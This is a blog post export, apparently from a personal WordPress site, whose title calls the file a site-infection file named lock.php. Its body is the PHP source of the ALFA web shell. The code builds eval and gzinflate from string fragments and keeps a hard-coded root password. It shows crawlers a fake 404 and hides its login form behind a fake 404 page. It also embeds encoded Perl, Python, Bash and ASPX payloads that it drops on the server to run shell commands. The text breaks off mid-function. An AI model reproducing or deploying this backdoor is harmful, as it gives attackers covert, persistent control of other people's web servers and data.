{"id":6327,"date":"2025-10-02T21:01:57","date_gmt":"2025-10-02T13:01:57","guid":{"rendered":"http:\/\/192.168.1.29\/?p=6327"},"modified":"2025-10-02T21:04:03","modified_gmt":"2025-10-02T13:04:03","slug":"%e7%bd%91%e7%ab%99%e6%8c%82%e7%a0%81%e6%96%87%e4%bb%b6lock-php%e6%ba%90%e7%a0%817z%e5%8e%8b%e7%bc%a9%e6%96%87%e4%bb%b6","status":"publish","type":"post","link":"http:\/\/xc.ipyingshe.net:5347\/?p=6327","title":{"rendered":"\u7f51\u7ad9\u6302\u7801\u6587\u4ef6lock.php\u6e90\u7801"},"content":{"rendered":"\n<pre class=\"wp-block-code\"><code>&lt;?php\n@error_reporting(E_ALL ^ E_NOTICE);\n@ini_set('error_log',NULL);\n@ini_set('log_errors',0);\n@ini_set('max_execution_time',0);\n@ini_set('magic_quotes_runtime', 0);\n@set_time_limit(0);\nif(function_exists('set_magic_quotes_runtime')){\n@set_magic_quotes_runtime(0);\n}\n$GLOBALS&#91;'ayAHGSshXn'] = array(\n'username' => 'root',\n'password' => '7af08a881e3b88e06c9db743a50df1b6',\/\/md5(ehsan)\n'safe_mode' => '1',\n'login_page' => '404',\n'show_icons' => '',\n'post_encryption' => false,\n'cgi_api' => true,\n);\n$CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';\n$aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';\n$OVpGNqqFZs = 'e' . 'v' . 'al';\n$psDEwGhsxg = 'gz' . 'inf' . 'late';\n\nif (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '')){\nfunction vcnvSCZgBz($data)\n{\nif (empty($data)) return;\n$b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=';\n$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;\n$ac = 0;\n$enc = '';\n$tmp_arr = array();\nif (!$data){\nreturn $data;\n}do{\n$o1 = $aztJtafUXm($data, $i++);\n$o2 = $aztJtafUXm($data, $i++);\n$o3 = $aztJtafUXm($data, $i++);\n$bits = $o1 &lt;&lt; 16 | $o2 &lt;&lt; 8 | $o3;\n$h1 = $bits >> 18 &amp; 0x3f;\n$h2 = $bits >> 12 &amp; 0x3f;\n$h3 = $bits >> 6 &amp; 0x3f;\n$h4 = $bits &amp; 0x3f;\n$tmp_arr&#91;$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);\n}\nwhile ($i &lt; strlen($data));\n$enc = implode($tmp_arr, '');\n$r = (strlen($data) % 3);\nreturn ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));\n}\nfunction charCodeAt($data, $char){\nreturn ord(substr($data, $char, 1));\n}\nfunction charAt($data, $char){\nreturn substr($data, $char, 1);\n}\n}else{\nfunction vcnvSCZgBz($s){\n$b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';\nreturn $b($s);\n}\n}\nif (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '')){\nfunction zRtSHsbTzV($input){\nif (empty($input)) return;\n$keyStr = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=\";\n$chr1 = $chr2 = $chr3 = \"\";\n$enc1 = $enc2 = $enc3 = $enc4 = \"\";\n$i = 0;\n$output = \"\";\n$input = preg_replace(\"&#91;^A-Za-z0-9\\+\\\/\\=]\", \"\", $input);\ndo{\n$enc1 = strpos($keyStr, substr($input, $i++, 1));\n$enc2 = strpos($keyStr, substr($input, $i++, 1));\n$enc3 = strpos($keyStr, substr($input, $i++, 1));\n$enc4 = strpos($keyStr, substr($input, $i++, 1));\n$chr1 = ($enc1 &lt;&lt; 2) | ($enc2 >> 4);\n$chr2 = (($enc2 &amp; 15) &lt;&lt; 4) | ($enc3 >> 2);\n$chr3 = (($enc3 &amp; 3) &lt;&lt; 6) | $enc4;\n$output = $output . chr((int)$chr1);\nif ($enc3 != 64){\n$output = $output . chr((int)$chr2);\n}\nif ($enc4 != 64){\n$output = $output . chr((int)$chr3);\n}\n$chr1 = $chr2 = $chr3 = \"\";\n$enc1 = $enc2 = $enc3 = $enc4 = \"\";\n}\nwhile ($i &lt; strlen($input));\nreturn $output;\n}\n}else{\nfunction zRtSHsbTzV($s){\n$b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';\nreturn $b($s);\n}\n}\n\nfunction __ZW5jb2Rlcg($s)\n{\nreturn vcnvSCZgBz($s);\n}\nfunction __ZGVjb2Rlcg($s)\n{\nreturn zRtSHsbTzV($s);\n}\n\n$GLOBALS&#91;'DB_NAME'] = $GLOBALS&#91;'ayAHGSshXn'];\n\nforeach ($GLOBALS&#91;'DB_NAME'] as $key => $value){\n$prefix = substr($key, 0, 2);\nif ($prefix == \"us\")\n{\n$GLOBALS&#91;'DB_NAME']&#91;\"user\"] = $value;\n$GLOBALS&#91;'DB_NAME']&#91;\"user_rand\"] = $key;\n}\nelseif ($prefix == \"pa\")\n{\n$GLOBALS&#91;'DB_NAME']&#91;\"pass\"] = $value;\n$GLOBALS&#91;'DB_NAME']&#91;\"pass_rand\"] = $key;\n}\nelseif ($prefix == \"sa\")\n{\n$GLOBALS&#91;'DB_NAME']&#91;\"safemode\"] = $value;\n$GLOBALS&#91;'DB_NAME']&#91;\"safemode_rand\"] = $key;\n}\nelseif ($prefix == \"lo\")\n{\n$GLOBALS&#91;'DB_NAME']&#91;\"login_page\"] = $value;\n$GLOBALS&#91;'DB_NAME']&#91;\"login_page_rand\"] = $key;\n}\nelseif ($prefix == \"sh\")\n{\n$GLOBALS&#91;'DB_NAME']&#91;\"show_icons\"] = $value;\n$GLOBALS&#91;'DB_NAME']&#91;\"show_icons_rand\"] = $key;\n}\nelseif ($prefix == \"po\")\n{\n$GLOBALS&#91;'DB_NAME']&#91;\"post_encryption\"] = $value;\n$GLOBALS&#91;'DB_NAME']&#91;\"post_encryption_rand\"] = $key;\n}\nelseif ($prefix == \"cg\")\n{\n$GLOBALS&#91;'DB_NAME']&#91;\"cgi_api\"] = $value;\n$GLOBALS&#91;'DB_NAME']&#91;\"cgi_api_rand\"] = $key;\n}\n}\n\nunset($GLOBALS&#91;'ayAHGSshXn']);\n\nif (!isset($_SERVER&#91;\"HTTP_HOST\"])) exit();\n\nif(!empty($_SERVER&#91;'HTTP_USER_AGENT'])){$userAgents = array(\"Google\",\"Slurp\",\"MSNBot\",\"ia_archiver\",\"Yandex\",\"Rambler\",\"bot\",\"spider\");if(preg_match('\/'.implode('|',$userAgents).'\/i',$_SERVER&#91;'HTTP_USER_AGENT'])){header('HTTP\/1.0 404 Not Found');exit;}}\nif(!isset($GLOBALS&#91;'DB_NAME']&#91;'user']))exit('$GLOBALS&#91;\\'DB_NAME\\']&#91;\\'user\\']');\nif(!isset($GLOBALS&#91;'DB_NAME']&#91;'pass']))exit('$GLOBALS&#91;\\'DB_NAME\\']&#91;\\'pass\\']');\nif(!isset($GLOBALS&#91;'DB_NAME']&#91;'safemode']))exit('$GLOBALS&#91;\\'DB_NAME\\']&#91;\\'safemode\\']');\nif(!isset($GLOBALS&#91;'DB_NAME']&#91;'login_page']))exit('$GLOBALS&#91;\\'DB_NAME\\']&#91;\\'login_page\\']');\nif(!isset($GLOBALS&#91;'DB_NAME']&#91;'show_icons']))exit('$GLOBALS&#91;\\'DB_NAME\\']&#91;\\'show_icons\\']');\nif(!isset($GLOBALS&#91;'DB_NAME']&#91;'post_encryption']))exit('$GLOBALS&#91;\\'DB_NAME\\']&#91;\\'post_encryption\\']');\ndefine(\"__ALFA_VERSION__\", \"4.1\");\ndefine(\"__ALFA_UPDATE__\", \"2\");\ndefine(\"__ALFA_CODE_NAME__\", \"XXVI\");\ndefine(\"__ALFA_DATA_FOLDER__\", \"jancox\");\ndefine(\"__ALFA_POST_ENCRYPTION__\", (isset($GLOBALS&#91;\"DB_NAME\"]&#91;\"post_encryption\"])&amp;&amp;$GLOBALS&#91;\"DB_NAME\"]&#91;\"post_encryption\"]==true?true:false));\ndefine(\"__ALFA_SECRET_KEY__\", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');\n$GLOBALS&#91;'__ALFA_COLOR__'] = array(\n\"shell_border\" => array(\n\"key_color\" => \"#0E304A\",\n\"multi_selector\" => array(\n\".header\" => \"border: 7px solid {color}\",\n\"#meunlist\" => \"border-color: {color}\",\n\"#hidden_sh\" => \"background-color: {color}\",\n\".ajaxarea\" => \"border: 1px solid {color}\",\n\".foot\" => \"border-color: {color}\",\n)\n),\n\"header_vars\" => \"#27979B\",\n\"header_values\" => \"#67ABDF\",\n\"header_on\" => \"#00FF00\",\n\"header_off\" => \"#ff0000\",\n\"header_none\" => \"#00FF00\",\n\"home_shell\" => \"#ff0000\",\n\"home_shell:hover\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".home_shell:hover\" => \"color: {color};\",\n)\n),\n\"back_shell\" => \"#efbe73\",\n\"back_shell:hover\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".back_shell:hover\" => \"color: {color};\",\n)\n),\n\"header_pwd\" => \"#00FF00\",\n\"header_pwd:hover\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".header_pwd:hover\" => \"color: {color};\",\n)\n),\n\"header_drive\" => \"#00FF00\",\n\"header_drive:hover\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".header_drive:hover\" => \"color: {color};\",\n)\n),\n\"header_show_all\" => \"#00FF00\",\n\"disable_functions\" => \"#ff0000\",\n\"footer_text\" => \"#27979B\",\n\"menu_options\" => \"#27979B\",\n\"menu_options:hover\" => array(\n\"key_color\" => \"#646464\",\n\"multi_selector\" => array(\n\".menu_options:hover\" => \"background-color: {color};font-weight: unset;\",\n)\n),\n\"options_list\" => array(\n\"key_color\" => \"#00FF00\",\n\"multi_selector\" => array(\n\".content_options_holder .header center a\" => \"color: {color};\",\n)\n),\n\"options_list:hover\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".content_options_holder .header center a:hover\" => \"color: {color};\",\n)\n),\n\"options_list_header\" => array(\n\"key_color\" => \"#59cc33\",\n\"multi_selector\" => array(\n\".txtfont_header\" => \"color: {color};\",\n)\n),\n\"options_list_text\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".txtfont,.tbltxt\" => \"color: {color};\",\n)\n),\n\"Alfa+\" => array(\n\"key_color\" => \"#06ff0f\",\n\"multi_selector\" => array(\n\".alfa_plus\" => \"color: {color};font-weight: unset;\",\n)\n),\n\"hidden_shell_text\" => array(\n\"key_color\" => \"#00FF00\",\n\"multi_selector\" => array(\n\"#hidden_sh a\" => \"color: {color};\",\n)\n),\n\"hidden_shell_version\" => \"#ff0000\",\n\"shell_name\" => \"#FF0000\",\n\"main_row:hover\" => array(\n\"key_color\" => \"#646464\",\n\"multi_selector\" => array(\n\".main tr:hover\" => \"background-color: {color};\",\n)\n),\n\"main_header\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".main th\" => \"color: {color};\",\n)\n),\n\"main_name\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".main .main_name\" => \"color: {color};font-weight: unset;\",\n)\n),\n\"main_size\" => \"#67ABDF\",\n\"main_modify\" => \"#67ABDF\",\n\"main_owner_group\" => \"#67ABDF\",\n\"main_green_perm\" => \"#25ff00\",\n\"main_red_perm\" => \"#FF0000\",\n\"main_white_perm\" => \"#FFFFFF\",\n\"beetween_perms\" => \"#FFFFFF\",\n\"main_actions\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".main .actions\" => \"color: {color};\",\n)\n),\n\"menu_options:hover\" => array(\n\"key_color\" => \"#646464\",\n\"multi_selector\" => array(\n\".menu_options:hover\" => \"background-color: {color};font-weight: unset;\",\n)\n),\n\"minimize_editor_background\" => array(\n\"key_color\" => \"#0e304a\",\n\"multi_selector\" => array(\n\".minimized-wrapper\" => \"background-color: {color};\",\n)\n),\n\"minimize_editor_text\" => array(\n\"key_color\" => \"#f5deb3\",\n\"multi_selector\" => array(\n\".minimized-text\" => \"color: {color};\",\n)\n),\n\"editor_border\" => array(\n\"key_color\" => \"#0e304a\",\n\"multi_selector\" => array(\n\".editor-explorer,.editor-modal\" => \"border: 2px solid {color};\",\n)\n),\n\"editor_background\" => array(\n\"key_color\" => \"rgba(0, 1, 23, 0.94)\",\n\"multi_selector\" => array(\n\".editor-explorer,.editor-modal\" => \"background-color: {color};\",\n)\n),\n\"editor_header_background\" => array(\n\"key_color\" => \"rgba(21, 66, 88, 0.93)\",\n\"multi_selector\" => array(\n\".editor-header\" => \"background-color: {color};\",\n)\n),\n\"editor_header_text\" => array(\n\"key_color\" => \"#00ff7f\",\n\"multi_selector\" => array(\n\".editor-path\" => \"color: {color};\",\n)\n),\n\"editor_header_button\" => array(\n\"key_color\" => \"#1d5673\",\n\"multi_selector\" => array(\n\".close-button, .editor-minimize\" => \"background-color: {color};\",\n)\n),\n\"editor_actions\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".editor_actions\" => \"color: {color};\",\n)\n),\n\"editor_file_info_vars\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".editor_file_info_vars\" => \"color: {color};\",\n)\n),\n\"editor_file_info_values\" => array(\n\"key_color\" => \"#67ABDF\",\n\"multi_selector\" => array(\n\".filestools\" => \"color: {color};\",\n)\n),\n\"editor_history_header\" => array(\n\"key_color\" => \"#14ff07\",\n\"multi_selector\" => array(\n\".hheader-text,.history-clear\" => \"color: {color};\",\n)\n),\n\"editor_history_list\" => array(\n\"key_color\" => \"#03b3a3\",\n\"multi_selector\" => array(\n\".editor-file-name\" => \"color: {color};\",\n)\n),\n\"editor_history_selected_file\" => array(\n\"key_color\" => \"rgba(49, 55, 93, 0.77)\",\n\"multi_selector\" => array(\n\".is_active\" => \"background-color: {color};\",\n)\n),\n\"editor_history_file:hover\" => array(\n\"key_color\" => \"#646464\",\n\"multi_selector\" => array(\n\".file-holder > .history:hover\" => \"background-color: {color};\",\n)\n),\n\"input_box_border\" => array(\n\"key_color\" => \"#0E304A\",\n\"multi_selector\" => array(\n\"input&#91;type=text],textarea\" => \"border: 1px solid {color}\",\n)\n),\n\"input_box_text\" => array(\n\"key_color\" => \"#999999\",\n\"multi_selector\" => array(\n\"input&#91;type=text],textarea\" => \"color: {color};\",\n)\n),\n\"input_box:hover\" => array(\n\"key_color\" => \"#27979B\",\n\"multi_selector\" => array(\n\"input&#91;type=text]:hover,textarea:hover\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\n)\n),\n\"select_box_border\" => array(\n\"key_color\" => \"#0E304A\",\n\"multi_selector\" => array(\n\"select\" => \"border: 1px solid {color}\",\n)\n),\n\"select_box_text\" => array(\n\"key_color\" => \"#FFFFEE\",\n\"multi_selector\" => array(\n\"select\" => \"color: {color};\",\n)\n),\n\"select_box:hover\" => array(\n\"key_color\" => \"#27979B\",\n\"multi_selector\" => array(\n\"select:hover\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\n)\n),\n\"button_border\" => array(\n\"key_color\" => \"#27979B\",\n\"multi_selector\" => array(\n\"input&#91;type=submit],.button,#addup\" => \"border: 1px solid {color};\",\n)\n),\n\"button:hover\" => array(\n\"key_color\" => \"#27979B\",\n\"multi_selector\" => array(\n\"input&#91;type=submit]:hover\" => \"box-shadow:0 0 4px {color};border:2px solid {color};\",\n\".button:hover,#addup:hover\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\n)\n),\n\"outputs_text\" => array(\n\"key_color\" => \"#67ABDF\",\n\"multi_selector\" => array(\n\".ml1\" => \"color: {color};\",\n)\n),\n\"outputs_border\" => array(\n\"key_color\" => \"#0E304A\",\n\"multi_selector\" => array(\n\".ml1\" => \"border: 1px solid {color};\",\n)\n),\n\"uploader_border\" => array(\n\"key_color\" => \"#0E304A\",\n\"multi_selector\" => array(\n\".inputfile\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\n)\n),\n\"uploader_background\" => array(\n\"key_color\" => \"#0E304A\",\n\"multi_selector\" => array(\n\".inputfile strong\" => \"background-color: {color};\",\n)\n),\n\"uploader_text_right\" => array(\n\"key_color\" => \"#FFFFFF\",\n\"multi_selector\" => array(\n\".inputfile strong\" => \"color: {color};\",\n)\n),\n\"uploader_text_left\" => array(\n\"key_color\" => \"#25ff00\",\n\"multi_selector\" => array(\n\".inputfile span\" => \"color: {color};\",\n)\n),\n\"uploader:hover\" => array(\n\"key_color\" => \"#27979B\",\n\"multi_selector\" => array(\n\".inputfile:hover\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\n)\n),\n\"uploader_progress_bar\" => array(\n\"key_color\" => \"#00ff00\",\n\"multi_selector\" => array(\n\".up_bar\" => \"background-color: {color};\",\n)\n),\n\"mysql_tables\" => \"#00FF00\",\n\"mysql_table_count\" => \"#67ABDF\",\n\"copyright\" => \"#dfff00\",\n\"scrollbar\" => array(\n\"key_color\" => \"#1e82b5\",\n\"multi_selector\" => array(\n\"*::-webkit-scrollbar-thumb\" => \"background-color: {color};\",\n)\n),\n\"scrollbar_background\" => array(\n\"key_color\" => \"#000115\",\n\"multi_selector\" => array(\n\"*::-webkit-scrollbar-track\" => \"background-color: {color};\",\n)\n),\n);\n$GLOBALS&#91;'__file_path'] = str_replace('\\\\','\/',trim(preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__)));\n$config = array('AlfaUser' => $GLOBALS&#91;'DB_NAME']&#91;'user'],'AlfaPass' => $GLOBALS&#91;'DB_NAME']&#91;'pass'],'AlfaProtectShell' => $GLOBALS&#91;'DB_NAME']&#91;'safemode'],'AlfaLoginPage' => $GLOBALS&#91;'DB_NAME']&#91;'login_page']);\n\/\/@session_start();\n@session_write_close();\n@ignore_user_abort(true);\n@set_time_limit(0);\n@ini_set('memory_limit', '-1');\n@ini_set(\"upload_max_filesize\", \"9999m\");\nif($config&#91;'AlfaProtectShell']){\n$SERVER_SIG = (isset($_SERVER&#91;\"SERVER_SIGNATURE\"])?$_SERVER&#91;\"SERVER_SIGNATURE\"]:\"\");\n$Eform='&lt;form method=\"post\">&lt;input style=\"margin:0;background-color:#fff;border:1px solid #fff;\" type=\"password\" name=\"password\">&lt;\/form>';\nif($config&#91;'AlfaLoginPage']=='404'){\nif(@$_COOKIE&#91;\"AlfaPass\"] != @md5($config&#91;'AlfaPass'])){\nif(@md5($_POST&#91;\"password\"])==$config&#91;'AlfaPass']){\n__alfa_set_cookie(\"AlfaUser\", $config&#91;'AlfaUser']);\n__alfa_set_cookie(\"AlfaPass\", @md5($config&#91;'AlfaPass']));\n@header('location: '.$_SERVER&#91;\"PHP_SELF\"]);\n}\necho \"&lt;title>404 Not Found&lt;\/title>&lt;h1>Not Found&lt;\/h1>&lt;p>The requested URL \".$_SERVER&#91;'PHP_SELF'].\" was not found on this server.&lt;br>&lt;br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.&lt;\/p>&lt;hr>\".$SERVER_SIG.\"&lt;\/body>&lt;\/html>\".$Eform;\nexit;\n}}}\nfunction decrypt_post($str){\nif(__ALFA_POST_ENCRYPTION__){\n$pwd = __ALFA_SECRET_KEY__;\n$pwd = __ZW5jb2Rlcg($pwd);\n$str = __ZGVjb2Rlcg($str);\n$enc_chr = \"\";\n$enc_str = \"\";\n$i   = 0;\nwhile ($i &lt; strlen($str)) {\nfor ($j = 0; $j &lt; strlen($pwd); $j++) {\n$enc_chr = chr(ord($str&#91;$i]) ^ ord($pwd&#91;$j]));\n$enc_str .= $enc_chr;\n$i++;\nif ($i >= strlen($str))\nbreak;\n}\n}\nreturn __ZGVjb2Rlcg($enc_str);\n}else{\nreturn __ZGVjb2Rlcg($str);\n}\n}\n\nfunction _AlfaSecretKey(){\n$secret = @$_COOKIE&#91;\"AlfaSecretKey\"];\nif(!isset($_COOKIE&#91;\"AlfaSecretKey\"])){\n$secret = uniqid(mt_rand(), true);\n__alfa_set_cookie(\"AlfaSecretKey\", $secret);\n}\nreturn $secret;\n}\nfunction alfa_getColor($target){\nif(isset($GLOBALS&#91;\"DB_NAME\"]&#91;\"color\"]&#91;$target])&amp;&amp;$GLOBALS&#91;\"DB_NAME\"]&#91;\"color\"]&#91;$target]!=\"\"){\nreturn $GLOBALS&#91;\"DB_NAME\"]&#91;\"color\"]&#91;$target];\n}else{\n$target = $GLOBALS&#91;\"__ALFA_COLOR__\"]&#91;$target];\nif(is_array($target)){\nreturn $target&#91;\"key_color\"];\n}else{\nreturn $target;\n}\n}\n}\nfunction alfaCssLoadColors(){\n$css = \"\";\nforeach($GLOBALS&#91;'__ALFA_COLOR__'] as $key => $value){\nif(!is_array($value)){\n$value = alfa_getColor($key);\n$css .= \".{$key}{color: {$value};}\";\n}else{\nif(isset($value&#91;\"multi_selector\"])){\nforeach($value&#91;\"multi_selector\"] as $k => $v){\n$color = alfa_getColor($key);\n$code = str_replace(\"{color}\", $color, $v);\n$css .=  $k.\"{\".$code.\"}\";\n}\n}\n}\n}\nreturn $css;\n}\nif(isset($_POST&#91;'ajax'])){\nfunction AlfaNum(){\n$args = func_get_args();\n$alfax = array();\n$find = array();\nfor($i=1;$i&lt;=10;$i++){\n$alfax&#91;] = $i;\n}\nforeach($args as $arg){\n$find&#91;] = $arg;\n}\necho '&lt;script>';\nforeach($alfax as $alfa){\nif(in_array($alfa,$find))\ncontinue;\necho 'alfa'.$alfa.\"_=\";\n}\necho '\"\"&lt;\/script>';\n}}\nfunction _alfa_cgicmd($cmd,$lang=\"perl\",$set_cookie=false){\nif(!$GLOBALS&#91;\"DB_NAME\"]&#91;\"cgi_api\"]){\nreturn \"\";\n}\nif(isset($_COOKIE&#91;\"alfacgiapi_mode\"])){\nreturn \"\";\n}\n$cmd_pure = $cmd;\n$is_curl = function_exists('curl_version');\n$is_socket = function_exists('fsockopen');\nif($is_curl||$is_socket){\n$recreate = false;\nif(isset($_COOKIE&#91;\"alfacgiapi\"])){\nif(!@file_exists(\"alfacgiapi\/\".$_COOKIE&#91;\"alfacgiapi\"].\".alfa\")){\n$recreate = true;\n$lang = $_COOKIE&#91;\"alfacgiapi\"];\n}\n}\nif(!isset($_COOKIE&#91;\"alfacgiapi\"])||$recreate){\n@chdir(dirname($_SERVER&#91;\"SCRIPT_FILENAME\"]));\n$perl = 'jZFRT8IwFIXf\/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky\/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF\/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL\/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';\n$py = \"bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1\/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7\/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84\/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf\/WtDzLftGUSe3CBw4suE4G\/ryOWqh4eo4E8cT0a3uSOrTC\/KjxND+O\/QI=\";\n$bash = \"rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU\/95hoCyjsfFh52nm3nM\/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU\/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+\/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw\/3w3U5Gon\/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU\/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA\/4C\";\n$aspx = \"jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53\/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL\/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs\/+A41vPENTvGYtSFSyrcjZmc\/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay\/QePDVnjYTHAfYroD+k9dHT0qhpCK\/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk\/O+3vPi3uCw==\";\nif($lang==\"perl\")$source = $perl;elseif($lang==\"py\")$source = $py;else $source = $bash;\nif($lang == \"aspx\"){\nalfaWriteTocgiapi(\"aspx.aspx\",$aspx);\n}else{\nalfaWriteTocgiapi($lang.\".alfa\",$source);\n}\nalfacgihtaccess('cgi', \"alfacgiapi\/\");\n}else{\n$lang = $_COOKIE&#91;\"alfacgiapi\"];\n}\n$cgi_ext = \".alfa\";\nif($lang==\"aspx\"){\n$cgi_ext = \".aspx\";\n}\n$cgi_url = __ALFA_DATA_FOLDER__.\"\/alfacgiapi\/\".$lang.$cgi_ext;\n$cmd = \"check=W3NvbGV2aXNpYmxlfmFwaV0=&amp;cmd=\".__ZW5jb2Rlcg(\"cd \".$GLOBALS&#91;'cwd'].\";\".$cmd);\nif($is_curl){\n$address = ($_SERVER&#91;'SERVER_PORT'] == 443 ? \"https:\/\/\" : \"http:\/\/\").$_SERVER&#91;\"SERVER_NAME\"].dirname($_SERVER&#91;\"REQUEST_URI\"]).\"\/\".$cgi_url;\n$post = new AlfaCURL();\n$data = $post->Send($address, \"post\", $cmd);\n}elseif($is_socket){\n$server = $_SERVER&#91;\"SERVER_NAME\"];\n$uri = dirname($_SERVER&#91;\"REQUEST_URI\"]).\"\/\".$cgi_url;\n$data = _alfa_fsockopen($server,$uri,$cmd);\n}\n$out = \"\";\nif(strpos($data, \"&#91;solevisible~api]\") !== false &amp;&amp; strpos($data, '&#91;solevisible~api]&lt;pre>\"+output+\"&lt;\/pre>') === false){\nif($set_cookie){\n__alfa_set_cookie(\"alfacgiapi\", $lang);\n}\nif(@preg_match(\"\/&lt;pre>(.*?)&lt;\\\/pre>\/s\", $data, $res)){\n$out = $res&#91;1];\n}\n}elseif($lang==\"perl\"){\nreturn _alfa_cgicmd($cmd_pure,\"py\",$set_cookie);\n}elseif($lang==\"py\"){\nreturn _alfa_cgicmd($cmd_pure,\"bash\",$set_cookie);\n}elseif($lang==\"bash\" &amp;&amp; $GLOBALS&#91;'sys']==\"win\"){\nreturn _alfa_cgicmd($cmd_pure,\"aspx\",$set_cookie);\n}else{\nif($set_cookie){\n__alfa_set_cookie(\"alfacgiapi_mode\", \"off\");\n}\n}\nreturn trim($out);\n}else{\nreturn \"\";\n}\n}\nfunction alfaGetCwd(){\nif(function_exists(\"getcwd\")){\nreturn @getcwd();\n}else{\nreturn dirname($_SERVER&#91;\"SCRIPT_FILENAME\"]);\n}\n}\nfunction alfaEx($in,$re=false,$cgi=true,$all=false){\n$data = 